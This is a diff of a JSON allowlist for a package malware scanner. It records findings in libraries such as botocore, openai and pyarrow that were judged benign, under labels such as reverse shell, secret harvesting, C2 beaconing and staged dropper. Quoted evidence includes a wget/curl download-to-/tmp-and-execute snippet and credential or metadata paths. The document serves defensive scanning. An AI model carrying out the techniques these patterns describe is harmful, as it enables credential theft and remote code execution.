"unsloth-zoo", - "file": "unsloth_zoo/patching_utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())", - "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/saving_utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L3241: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169: exec(save_pretrained, globals(), functions)", - "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec" - }, - { - "package": "urllib3", - "file": "urllib3/response.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"", - "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839" - }, - { - "package": "urllib3", - "file": "urllib3/util/ssl_.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,", - "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d" - }, - { - "package": "werkzeug", - "file": "werkzeug/routing/rules.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)", - "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d" - } - ] + "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.", + "version": 1, + "entries": [ + { + "package": "botocore", + "file": "botocore/credentials.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):", + "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6" + }, + { + "package": "botocore", + "file": "botocore/httpsession.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )", + "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f" + }, + { + "package": "botocore", + "file": "botocore/utils.py", + "check": "Accesses cloud metadata/IMDS AND makes network calls", + "severity": "CRITICAL", + "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66" + }, + { + "package": "botocore", + "file": "botocore/utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96" + }, + { + "package": "botocore", + "file": "botocore/utils.py", + "check": "Reads credential paths AND makes network calls", + "severity": "CRITICAL", + "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1" + }, + { + "package": "click", + "file": "click/testing.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)", + "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1" + }, + { + "package": "datasets", + "file": "datasets/utils/file_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da", + "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d" + }, + { + "package": "datasets", + "file": "datasets/utils/file_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea", + "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c" + }, + { + "package": "diffusers", + "file": "diffusers/utils/import_utils.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L1052: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + }, + { + "package": "diffusers", + "file": "diffusers/utils/testing_utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L236: value = os.environ[key]\nNetwork: L691: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)", + "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9" + }, + { + "package": "dill", + "file": "dill/_objects.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()", + "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850" + }, + { + "package": "fastapi", + "file": "fastapi/routing.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L586: while True: sha256:251135b5ebfdd1248916449f32262575e003ef64382501c65b7e4061d67bda45", + "evidence_hash": "365aef4449c8089753d9398417cd76ab762cef547d75db70d87bca9c0b550ab5" + }, + { + "package": "fastmcp-slim", + "file": "fastmcp/cli/apps_dev.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L1353: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c" + }, + { + "package": "fastmcp-slim", + "file": "fastmcp/cli/apps_dev.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L637: history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4" + }, + { + "package": "fonttools", + "file": "fontTools/diff/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" + }, + { + "package": "fonttools", + "file": "fontTools/ttLib/ttFont.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)", + "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01" + }, + { + "package": "httpx", + "file": "httpx/_models.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):", + "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/_sandbox.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1179: while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38", + "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/_sandbox.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"", + "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L4613: while True: sha256:f764b6ca3118b23c7c0e670e77178c022a6905f825d7df6e528545fa10aae8f6", + "evidence_hash": "9c85d50c227285fa8dc69512999cbb082258cda4b299c7d0e0f69f5aff7accd4" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31", + "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()", + "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/utils/_http.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L462: while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958", + "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/utils/_http.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306", + "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703" + }, + { + "package": "ipython", + "file": "IPython/core/interactiveshell.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)", + "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3" + }, + { + "package": "ipython", + "file": "IPython/terminal/pt_inputhooks/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)", + "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025" + }, + { + "package": "ipython", + "file": "IPython/utils/py3compat.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", + "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17" + }, + { + "package": "jaraco-context", + "file": "jaraco/context/__init__.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" + }, + { + "package": "matplotlib", + "file": "matplotlib/backends/backend_webagg.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c", + "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583" + }, + { + "package": "multiprocess", + "file": "multiprocess/forkserver.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7", + "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c", + "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24", + "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452" + }, + { + "package": "numba", + "file": "numba/pycc/decorators.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))", + "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05" + }, + { + "package": "numba", + "file": "numba/tests/support.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L1016: os.dup2(w, fd) | L1021: os.dup2(save, fd)", + "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10" + }, + { + "package": "numba", + "file": "numba/tests/test_codegen.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])", + "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488" + }, + { + "package": "numpy", + "file": "numpy/f2py/capi_maps.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L159: d = eval(f.read().lower(), {}, {})", + "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f" + }, + { + "package": "numpy", + "file": "numpy/lib/tests/test__datasource.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request", + "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469" + }, + { + "package": "openai", + "file": "openai/_base_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L264: while True: sha256:95ca67e46d42354ae650abbdc5b0d97df8b0ed43187800bf40f5690c3901b94b", + "evidence_hash": "a57d8d15fed0bf04f9967dcc18a18b80bb19f4095675bccbb78ac0450d7fce14" + }, + { + "package": "openai", + "file": "openai/_client.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d" + }, + { + "package": "openai", + "file": "openai/auth/_workload.py", + "check": "Accesses cloud metadata/IMDS AND makes network calls", + "severity": "CRITICAL", + "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | L108: with httpx.Client() as client: | L133: http_client: httpx.Client | None = None, | L155: with httpx.Client() as client: | L248: with httpx.Client() as client:", + "evidence_hash": "1581d9f4a23393e9af23fbe5ef9f66807b22c5b5a3f1fe167254c9ebee108567" + }, + { + "package": "openai", + "file": "openai/lib/azure.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923" + }, + { + "package": "openai", + "file": "openai/lib/bedrock.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c" + }, + { + "package": "openai", + "file": "openai/resources/beta/threads/runs/runs.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1074: while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f", + "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99" + }, + { + "package": "openai", + "file": "openai/resources/realtime/realtime.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L310: while True: sha256:458198ff3d3f05870bf98c9564cbfd68c739e57b9bbe4120ed81e3eb6af74a05", + "evidence_hash": "a3165d21e46b3ce553795daeae53e8f80e8e89c5cb228e68e6dcaff54bca5a89" + }, + { + "package": "openai", + "file": "openai/resources/responses/responses.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L3803: while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f", + "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7" + }, + { + "package": "openai", + "file": "openai/resources/vector_stores/file_batches.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b", + "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981" + }, + { + "package": "openai", + "file": "openai/resources/vector_stores/files.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944", + "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a" + }, + { + "package": "openai", + "file": "openai/resources/videos.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41", + "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81" + }, + { + "package": "protobuf", + "file": "protobuf-3.19.6-nspkg.pth", + "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", + "severity": "CRITICAL", + "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d", + "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c" + }, + { + "package": "ptyprocess", + "file": "ptyprocess/_fork_pty.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)", + "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/conftest.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")", + "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/test_extension_type.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)", + "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/test_flight.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)", + "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/test_orc.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00", + "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c" + }, + { + "package": "pyarrow", + "file": "pyarrow/tests/util.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7", + "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85" + }, + { + "package": "pyarrow", + "file": "pyarrow/util.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:", + "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e" + }, + { + "package": "pygments", + "file": "pygments/formatters/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L103: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" + }, + { + "package": "pygments", + "file": "pygments/lexers/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L154: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" + }, + { + "package": "pygments", + "file": "pygments/lexers/_mysql_builtins.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')", + "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114" + }, + { + "package": "pygments", + "file": "pygments/lexers/_php_builtins.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve", + "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582" + }, + { + "package": "pyperclip", + "file": "pyperclip/__init__.py", + "check": "base64 